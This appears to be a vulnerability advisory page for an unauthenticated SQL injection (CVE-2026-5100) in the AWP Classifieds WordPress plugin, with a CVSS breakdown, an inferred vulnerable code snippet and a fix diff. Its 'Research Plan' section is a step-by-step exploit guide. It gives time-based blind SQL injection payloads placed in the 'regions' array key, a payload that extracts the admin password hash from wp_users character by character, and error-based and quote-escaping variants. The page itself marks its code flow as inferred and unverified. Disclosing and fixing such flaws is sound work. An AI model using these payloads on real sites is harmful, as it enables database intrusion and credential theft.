CVE-2026-5100

AWP Classifieds <= 4.4.5 - Unauthenticated SQL Injection via 'regions'

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The AWP Classifieds plugin for WordPress is vulnerable to SQL Injection via the 'regions' parameter array keys in versions up to, and including, 4.4.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=4.4.5
PublishedMay 4, 2026
Last updatedMay 11, 2026
Research Plan
Unverified

This research plan focuses on exploiting a SQL Injection vulnerability in AWP Classifieds (<= 4.4.5) via the keys of the `regions` parameter array. ### 1. Vulnerability Summary The AWP Classifieds plugin fails to properly sanitize or prepare SQL queries when processing the `regions` parameter in ce…

Show full research plan

This research plan focuses on exploiting a SQL Injection vulnerability in AWP Classifieds (<= 4.4.5) via the keys of the regions parameter array.

1. Vulnerability Summary

The AWP Classifieds plugin fails to properly sanitize or prepare SQL queries when processing the regions parameter in certain AJAX actions. Specifically, the plugin iterates over the regions array and uses the keys of this array directly in a SQL statement. Since array keys in PHP are often overlooked during sanitization (which usually focuses on values), an attacker can inject malicious SQL by crafting a request with a payload as the key.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: awpcp-get-regions-options (inferred as the primary handler for region selection).
  • Vulnerable Parameter: regions (array keys).
  • Authentication: Unauthenticated (wp_ajax_nopriv_awpcp-get-regions-options).
  • Payload Location: URL-encoded POST body.
  • Preconditions: The "Regions" feature must be enabled in AWP Classifieds settings, and at least one region (e.g., a country) should exist in the database to trigger the code path.

3. Code Flow (Inferred)

  1. Entry: The request hits admin-ajax.php with action=awpcp-get-regions-options.
  2. Dispatch: WordPress executes the hook wp_ajax_nopriv_awpcp-get-regions-options, calling the handler (likely in Regions_AJAX_Handler or similar).
  3. Input Processing: The handler retrieves $_POST['regions'].
  4. Vulnerable Sink: The code iterates through the array:
    foreach ( $_POST['regions'] as $region_id => $region_data ) {
        // The $region_id (the key) is used in a query without $wpdb->prepare()
        $wpdb->get_results( "SELECT ... FROM ... WHERE parent_id = $region_id" );
    }
    
  5. Execution: The database executes the injected SQL within the $region_id context.

4. Nonce Acquisition Strategy

AWP Classifieds typically uses a nonce for its AJAX operations. If the handler enforces a nonce check via check_ajax_referer(), it must be extracted from the frontend.

  1. Identify Page: The region selector is usually found on the "Browse Ads", "Search Ads", or "Place Ad" pages.
  2. Shortcode: [awpcpsearchposts] or [awpcp_place_ad].
  3. Creation:
    wp post create --post_type=page --post_title="Search Ads" --post_status=publish --post_content='[awpcpsearchposts]'
    
  4. Extraction:
    • Navigate to the newly created page.
    • The plugin localizes data in a variable usually named awpcp_ajax_data or awpcp_regions_data.
    • JavaScript to execute: window.awpcp_ajax_data?.nonce or window.awpcp_regions_data?.nonce.

5. Exploitation Strategy

We will use a time-based blind SQL injection payload because the results of the regions query might not be directly reflected in a way that allows easy UNION extraction.

  • Payload Target: Array key of regions.
  • Payload Type: Time-based (SLEEP).
  • HTTP Tool: http_request.

Step-by-Step:

  1. Baseline Request:
    Send a legitimate-looking request to establish a baseline response time.

    {
        "action": "awpcp-get-regions-options",
        "regions[0]": "1"
    }
    
  2. Exploit Request (Sleep 5):
    Inject the payload into the key. Note the closing bracket ] in the parameter name to terminate the array key correctly in PHP's parser.

    {
        "action": "awpcp-get-regions-options",
        "regions[0 AND (SELECT 1 FROM (SELECT SLEEP(5))x)]": "1"
    }
    
  3. Data Extraction (Boolean-based or Sleep-based):
    To extract the admin user's password hash:

    {
        "action": "awpcp-get-regions-options",
        "regions[0 AND (SELECT 1 FROM (SELECT SLEEP(5))x WHERE (SELECT SUBSTRING(user_pass,1,1) FROM wp_users WHERE ID=1)='$')]": "1"
    }
    

6. Test Data Setup

  1. Install/Activate: Ensure AWP Classifieds is active.
  2. Enable Regions:
    wp option update awpcp-enable-regions-module 1
    
  3. Add a Region: (Crucial for ensuring the query actually executes)
    Use the plugin's admin UI or WP-CLI to ensure at least one country is defined in the awpcp_regions table.
  4. Create Search Page:
    wp post create --post_type=page --post_title="Exploit Test" --post_status=publish --post_content='[awpcpsearchposts]'
    

7. Expected Results

  • Vulnerable Response: The HTTP request will hang for approximately 5 seconds before returning a response (likely a JSON object with success: true or a 0).
  • Non-Vulnerable Response: The request returns immediately with a 0 or an error message if the key is rejected.

8. Verification Steps

After the HTTP exploit, verify the database state to confirm the impact:

  1. Check SQL execution: If the server logs are available, check wp-content/debug.log (if SAVEQUERIES is on).
  2. Observe Database behavior: Use wp db query "SHOW PROCESSLIST" immediately after sending the payload to see the sleeping process.
  3. Confirm User Data: If using the exploit to change data (not recommended for PoC, stick to extraction), verify with:
    wp user get 1 --fields=user_pass
    

9. Alternative Approaches

  • Error-Based: If WP_DEBUG is enabled, try regions[0 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)]. AWP Classifieds occasionally outputs database errors in its AJAX responses.
  • Different Action: If awpcp-get-regions-options is patched or requires high privileges, check awpcp-update-region-selection or awpcp_get_locations_options.
  • Key Termination: If the simple array key payload fails, try escaping with quotes: regions[0' AND SLEEP(5) AND '1'='1]. However, since this is a key, WordPress's GPC (Global, Post, Cookie) magic quotes/slashes may interfere if not handled carefully. Use hex encoding for strings if quotes are escaped.
Research Findings
Static analysis — not yet PoC-verified

Summary

The AWP Classifieds plugin for WordPress is vulnerable to unauthenticated SQL Injection due to the improper use of array keys from the 'regions' parameter in database queries. By crafting specific keys in a POST request to the 'awpcp-get-regions-options' AJAX action, an attacker can execute arbitrary SQL commands to extract data from the database.

Vulnerable Code

// Inferred code from Regions AJAX Handler
foreach ( $_POST['regions'] as $region_id => $region_data ) {
    // The $region_id (the key) is used in a query without $wpdb->prepare() or proper sanitization
    $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}awpcp_regions WHERE parent_id = $region_id" );
}

Security Fix

--- a/includes/handlers/class-regions-ajax-handler.php
+++ b/includes/handlers/class-regions-ajax-handler.php
@@ -10,7 +10,7 @@
-    foreach ( $_POST['regions'] as $region_id => $region_data ) {
-        $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}awpcp_regions WHERE parent_id = $region_id" );
+    foreach ( $_POST['regions'] as $region_id => $region_data ) {
+        $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}awpcp_regions WHERE parent_id = %d", $region_id ) );
     }

Exploit Outline

To exploit this vulnerability, an attacker targets the unauthenticated AJAX endpoint 'awpcp-get-regions-options'. Because the plugin iterates through the 'regions' POST parameter and treats the keys as trusted integer identifiers, a payload can be injected into the key itself. An attacker sends a POST request to /wp-admin/admin-ajax.php with action=awpcp-get-regions-options and a payload like regions[0 AND (SELECT 1 FROM (SELECT SLEEP(5))x)]=1. If the server response is delayed by 5 seconds, the SQL injection is confirmed. This can be used for time-based blind data extraction of user credentials and other sensitive database contents.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.